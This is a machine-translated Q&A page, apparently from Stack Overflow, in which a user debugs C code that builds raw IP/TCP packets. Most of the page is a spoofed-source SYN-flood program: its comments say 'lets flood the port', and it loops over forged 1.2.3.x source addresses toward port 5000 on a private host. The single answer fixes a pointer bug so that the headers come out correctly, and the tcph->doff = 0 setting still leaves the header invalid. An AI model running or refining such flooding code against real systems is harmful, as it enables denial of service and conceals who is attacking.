c - bogus标题长度的原始套接字

时间:2011-10-03 15:37:13

标签: c sockets

#include<stdlib.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>  
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<sys/types.h>

#define P 5000      /* lets flood the  port */

unsigned short      /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int 
main (void)
{
    char ipp[10] = "1.2.3.4";
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);  /* open raw socket */
  char datagram[4096];  /* this buffer will contain ip header, tcp header,
               and payload. we'll point an ip header structure
               at its beginning, and a tcp header structure after
               that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  struct sockaddr_in sin;
                /* the sockaddr_in containing the dest. address is used
               in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
                  byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("192.168.1.12");

  memset (datagram, 0, 4096);   /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
  iph->ip_id = htonl (54321);   /* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;      /* set it to 0 before computing the actual checksum later */
  iph->ip_src.s_addr = inet_addr (ipp);/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;


    tcph->source = htons (1234);    /* arbitrary port */
  tcph->dest = htons (P);
  tcph->seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->ack_seq = 0;/* number, and the ack sequence is 0 in the 1st packet */

  tcph->doff = 0;       /* first and only tcp segment */

          tcph->syn = 1;
  tcph->window = htonl (65535); /* maximum allowed window size */
  tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
          should fill in the correct checksum during transmission */
  tcph->urg_ptr = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
       that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {             /* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");
  }
int i1=49;
char i2 = 49;
int cc = 0;
int r1;
  while (cc<99)
    {

        ipp[6] = i1;
    ipp[7] = i2;
    if(i1 == 57)
    {
        break;
    }
    if(i2 == 57 )
    {   i2 = 48;
        i1++;
        }


i2++;   
cc++;
        iph->ip_src.s_addr = inet_addr (ipp);
      if (sendto (s,        /* our socket */
          datagram, /* the buffer containing headers and data */
          iph->ip_len,  /* total length of our datagram */
              0,        /* routing flags, normally always 0 */
          (struct sockaddr *) &sin, /* socket addr, just like in */
          sizeof (sin)) < 0)        /* a normal send() */
    printf ("error\n");
      else
    printf ("sent \n");
    }

  return 0;
}

代码创建一个带有正确IP地址的原始套接字,源addrewss是192.168.1.12 ...端口5000 ...问题是,当我尝试捕获使用wireshark发送的数据包时,它表示像bogus tcp这样的东西headee length ...应该至少20 ...我怎么能纠正这个错误...... 附:如果您发现代码冗长,可以参考link获取代码说明......

1 个答案:

答案 0 :(得分:2)

进一步阅读后:更改此行

struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);

到这个

struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));

在第一种情况下,tcph将指针远远超出iph。

char *datagram也应为unsigned char *